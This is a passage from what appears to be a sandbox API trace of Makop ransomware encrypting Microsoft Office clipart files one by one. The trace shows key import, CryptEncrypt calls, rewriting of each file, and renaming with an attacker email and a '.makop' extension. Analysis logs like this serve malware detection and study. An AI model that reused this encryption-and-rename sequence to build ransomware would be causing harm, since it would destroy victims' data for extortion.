param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0108.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.910] GetProcessHeap () returned 0x48a0000 [0108.910] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.910] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.910] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.911] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.911] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.911] GetProcessHeap () returned 0x48a0000 [0108.911] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.911] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.911] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.911] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.916] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.916] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.919] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.919] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.919] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.920] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.920] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.920] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.920] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x600, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x600, lpOverlapped=0x0) returned 1 [0108.920] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x600, dwBufLen=0x600 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x600) returned 1 [0108.920] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.920] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x600, lpOverlapped=0x0) returned 1 [0108.920] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.920] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.921] SetEndOfFile (hFile=0xf0) returned 1 [0108.927] GetProcessHeap () returned 0x48a0000 [0108.927] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.927] GetProcessHeap () returned 0x48a0000 [0108.927] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.927] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.927] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.929] CloseHandle (hObject=0xf0) returned 1 [0108.929] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b67a200, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b67a200, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1 [0108.929] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0108.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.930] GetProcessHeap () returned 0x48a0000 [0108.930] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.930] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.930] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.930] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0108.935] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.935] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.935] GetProcessHeap () returned 0x48a0000 [0108.935] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.935] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.935] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.935] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.935] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.936] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.936] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.936] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.936] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.936] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.936] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.937] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1264, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1264, lpOverlapped=0x0) returned 1 [0108.938] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1270, dwBufLen=0x1270 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1270) returned 1 [0108.938] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.938] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1270, lpOverlapped=0x0) returned 1 [0108.939] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.939] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.939] SetEndOfFile (hFile=0xf0) returned 1 [0108.947] GetProcessHeap () returned 0x48a0000 [0108.947] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.947] GetProcessHeap () returned 0x48a0000 [0108.947] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.947] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.947] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.949] CloseHandle (hObject=0xf0) returned 1 [0108.949] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9e7400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9e7400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1 [0108.949] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0108.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.962] GetProcessHeap () returned 0x48a0000 [0108.962] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.962] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.963] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.963] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.967] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.967] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.967] GetProcessHeap () returned 0x48a0000 [0108.967] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.967] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.967] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.967] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.967] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.968] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.968] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.968] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.968] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.968] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.968] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.968] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.968] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6c8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6c8, lpOverlapped=0x0) returned 1 [0108.969] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6d0, dwBufLen=0x6d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6d0) returned 1 [0108.969] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.969] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6d0, lpOverlapped=0x0) returned 1 [0108.969] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.969] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.969] SetEndOfFile (hFile=0xf0) returned 1 [0108.975] GetProcessHeap () returned 0x48a0000 [0108.976] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.976] GetProcessHeap () returned 0x48a0000 [0108.976] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.976] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.976] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.977] CloseHandle (hObject=0xf0) returned 1 [0108.978] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae0bf00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ae0bf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1 [0108.978] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0108.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.978] GetProcessHeap () returned 0x48a0000 [0108.978] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.979] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.979] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.979] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0108.983] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.983] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.983] GetProcessHeap () returned 0x48a0000 [0108.983] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.984] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.984] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.984] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.984] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.984] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.984] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.984] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.984] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.985] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.985] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.985] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.985] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x30c2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x30c2, lpOverlapped=0x0) returned 1 [0108.987] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30d0, dwBufLen=0x30d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30d0) returned 1 [0108.987] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.987] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x30d0, lpOverlapped=0x0) returned 1 [0108.988] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.988] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x31a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.988] SetEndOfFile (hFile=0xf0) returned 1 [0108.995] GetProcessHeap () returned 0x48a0000 [0108.995] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.995] GetProcessHeap () returned 0x48a0000 [0108.995] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.995] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.995] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.997] CloseHandle (hObject=0xf0) returned 1 [0108.997] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: 